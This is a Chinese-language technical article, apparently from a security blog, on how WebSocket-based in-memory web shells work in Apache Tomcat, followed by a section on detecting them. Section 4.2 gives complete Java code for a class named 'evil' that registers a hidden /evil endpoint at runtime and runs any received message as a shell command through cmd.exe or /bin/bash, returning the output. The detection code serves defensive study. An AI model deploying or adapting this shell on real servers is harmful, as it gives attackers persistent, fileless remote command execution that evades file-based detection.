Tomcat WebSocket内存马原理浅析
字数 1649 2025-08-27 12:33:54

Tomcat WebSocket内存马原理与实现详解

一、Tomcat WebSocket基础

1.1 Tomcat WebSocket支持版本

  • Tomcat自7.0.2版本开始支持WebSocket,最初采用自定义API(WebSocketServlet)
  • 从7.0.47版本开始实现JSR356标准(Java WebSocket规范)

1.2 WebSocket端点(Endpoint)概念

  • Endpoint:抽象类,代表WebSocket链接的一端
    • ServerEndpoint:服务器端端点
    • ClientEndpoint:客户端端点
  • 生命周期事件方法:
    • onOpen:会话开启时调用(对应@OnOpen)
    • onClose:会话关闭时调用(对应@OnClose)
    • onError:链接异常时调用(对应@OnError)
    • onMessage:接收到消息时触发(对应@OnMessage)

二、服务端Endpoint实现方式

2.1 注解方式(@ServerEndpoint)

@ServerEndpoint(
    value = "/ws/{userId}", 
    encoders = {MessageEncoder.class}, 
    decoders = {MessageDecoder.class}, 
    configurator = MyServerConfigurator.class
)
  • 必要元素:
    • value:URI路径
  • 可选元素:
    • configurator:继承ServerEndpointConfig.Configurator的类
    • decoders:自定义消息解码器
    • encoders:自定义消息编码器
    • subprotocols:自定义子协议

2.2 继承抽象类方式(Endpoint)

需实现:

  1. jakarta.websocket.MessageHandler接口
  2. jakarta.websocket.server.ServerApplicationConfig接口

配置示例:

ServerEndpointConfig serverEndpointConfig = ServerEndpointConfig.Builder
    .create(WebSocketServerEndpoint3.class, "/ws/{userId}")
    .decoders(decoderList)
    .encoders(encoderList)
    .configurator(new MyServerConfigurator())
    .build();

三、Tomcat WebSocket加载机制

3.1 核心组件

  • org.apache.tomcat.websocket.server.WsSci:ServletContainerInitializer(SCI)实现类
  • org.apache.tomcat.websocket.server.WsFilter:WebSocket请求过滤器

3.2 加载流程

  1. Tomcat启动时通过StandardContext.startInternal()调用WsSci.onStartup()
  2. 扫描classpath下:
    • 带有@ServerEndpoint注解的类
    • Endpoint子类
    • ServerApplicationConfig实现类
  3. 通过addEndpoint方法注册到WebSocketContainer

四、WebSocket内存马实现

4.1 实现原理

  1. 获取当前StandardContext
  2. 通过StandardContext获取ServerContainer
  3. 定义恶意类并创建ServerEndpointConfig
  4. 调用ServerContainer.addEndpoint方法添加配置

4.2 完整示例代码

import org.apache.catalina.core.StandardContext;
import org.apache.catalina.loader.WebappClassLoaderBase;
import org.apache.tomcat.websocket.server.WsServerContainer;

import javax.websocket.*;
import javax.websocket.server.ServerContainer;
import javax.websocket.server.ServerEndpointConfig;
import java.io.InputStream;

public class evil extends Endpoint implements MessageHandler.Whole<String> {
    static {
        WebappClassLoaderBase webappClassLoaderBase = (WebappClassLoaderBase) Thread.currentThread().getContextClassLoader();
        StandardContext standardContext = (StandardContext) webappClassLoaderBase.getResources().getContext();
        ServerEndpointConfig build = ServerEndpointConfig.Builder.create(evil.class, "/evil").build();
        WsServerContainer attribute = (WsServerContainer) standardContext.getServletContext().getAttribute(ServerContainer.class.getName());
        try {
            attribute.addEndpoint(build);
        } catch (DeploymentException e) {
            throw new RuntimeException(e);
        }
    }

    private Session session;

    public void onMessage(String message) {
        try {
            boolean iswin = System.getProperty("os.name").toLowerCase().startsWith("windows");
            Process exec;
            if (iswin) {
                exec = Runtime.getRuntime().exec(new String[]{"cmd.exe", "/c", message});
            } else {
                exec = Runtime.getRuntime().exec(new String[]{"/bin/bash", "-c", message});
            }

            InputStream ips = exec.getInputStream();
            StringBuilder sb = new StringBuilder();

            int i;
            while((i = ips.read()) != -1) {
                sb.append((char)i);
            }

            ips.close();
            exec.waitFor();
            this.session.getBasicRemote().sendText(sb.toString());
        } catch (Exception e) {
            e.printStackTrace();
        }
    }

    @Override
    public void onOpen(Session session, EndpointConfig config) {
        this.session = session;
        this.session.addMessageHandler(this);
    }
}

五、WebSocket内存马检测

5.1 检测方法

  1. 获取ServerContainer实例
  2. 反射获取configExactMatchMap属性
  3. 遍历检查所有注册的Endpoint配置

5.2 检测代码示例

public synchronized List<ServerEndpointConfig> getEndpointConfigs(HttpServletRequest request) throws Exception {
    ServerContainer sc = (ServerContainer) request.getServletContext().getAttribute(ServerContainer.class.getName());
    Field _configExactMatchMap = sc.getClass().getDeclaredField("configExactMatchMap");
    _configExactMatchMap.setAccessible(true);
    ConcurrentHashMap configExactMatchMap = (ConcurrentHashMap) _configExactMatchMap.get(sc);

    Class _ExactPathMatch = Class.forName("org.apache.tomcat.websocket.server.WsServerContainer$ExactPathMatch");
    Method _getconfig = _ExactPathMatch.getDeclaredMethod("getConfig");
    _getconfig.setAccessible(true);

    List<ServerEndpointConfig> configs = new ArrayList<>();
    Iterator<Map.Entry<String, Object>> iterator = configExactMatchMap.entrySet().iterator();

    while (iterator.hasNext()) {
        Map.Entry<String, Object> entry = iterator.next();
        ServerEndpointConfig config = (ServerEndpointConfig)_getconfig.invoke(entry.getValue());
        configs.add(config);
    }
    return configs;
}

检查项:

  • cfg.getPath():获取Endpoint路径
  • cfg.getEndpointClass().getName():获取Endpoint类名
  • cfg.getEndpointClass().getClassLoader().getClass().getName():获取类加载器
  • 检查类文件是否存在

六、参考资源

  1. WebSocket 内存马,一种新型内存马技术
  2. Servlet3.0研究之ServletContainerInitializer接口
  3. websocket之三:Tomcat的WebSocket实现 - duanxz
  4. WebSocket通信原理和在Tomcat中实现源码详解
Tomcat WebSocket内存马原理与实现详解 一、Tomcat WebSocket基础 1.1 Tomcat WebSocket支持版本 Tomcat自7.0.2版本开始支持WebSocket,最初采用自定义API(WebSocketServlet) 从7.0.47版本开始实现JSR356标准(Java WebSocket规范) 1.2 WebSocket端点(Endpoint)概念 Endpoint :抽象类,代表WebSocket链接的一端 ServerEndpoint :服务器端端点 ClientEndpoint :客户端端点 生命周期事件方法: onOpen :会话开启时调用(对应 @OnOpen ) onClose :会话关闭时调用(对应 @OnClose ) onError :链接异常时调用(对应 @OnError ) onMessage :接收到消息时触发(对应 @OnMessage ) 二、服务端Endpoint实现方式 2.1 注解方式(@ServerEndpoint) 必要元素: value :URI路径 可选元素: configurator :继承 ServerEndpointConfig.Configurator 的类 decoders :自定义消息解码器 encoders :自定义消息编码器 subprotocols :自定义子协议 2.2 继承抽象类方式(Endpoint) 需实现: jakarta.websocket.MessageHandler 接口 jakarta.websocket.server.ServerApplicationConfig 接口 配置示例: 三、Tomcat WebSocket加载机制 3.1 核心组件 org.apache.tomcat.websocket.server.WsSci :ServletContainerInitializer(SCI)实现类 org.apache.tomcat.websocket.server.WsFilter :WebSocket请求过滤器 3.2 加载流程 Tomcat启动时通过 StandardContext.startInternal() 调用 WsSci.onStartup() 扫描classpath下: 带有 @ServerEndpoint 注解的类 Endpoint 子类 ServerApplicationConfig 实现类 通过 addEndpoint 方法注册到 WebSocketContainer 四、WebSocket内存马实现 4.1 实现原理 获取当前 StandardContext 通过 StandardContext 获取 ServerContainer 定义恶意类并创建 ServerEndpointConfig 调用 ServerContainer.addEndpoint 方法添加配置 4.2 完整示例代码 五、WebSocket内存马检测 5.1 检测方法 获取 ServerContainer 实例 反射获取 configExactMatchMap 属性 遍历检查所有注册的Endpoint配置 5.2 检测代码示例 检查项: cfg.getPath() :获取Endpoint路径 cfg.getEndpointClass().getName() :获取Endpoint类名 cfg.getEndpointClass().getClassLoader().getClass().getName() :获取类加载器 检查类文件是否存在 六、参考资源 WebSocket 内存马,一种新型内存马技术 Servlet3.0研究之ServletContainerInitializer接口 websocket之三:Tomcat的WebSocket实现 - duanxz WebSocket通信原理和在Tomcat中实现源码详解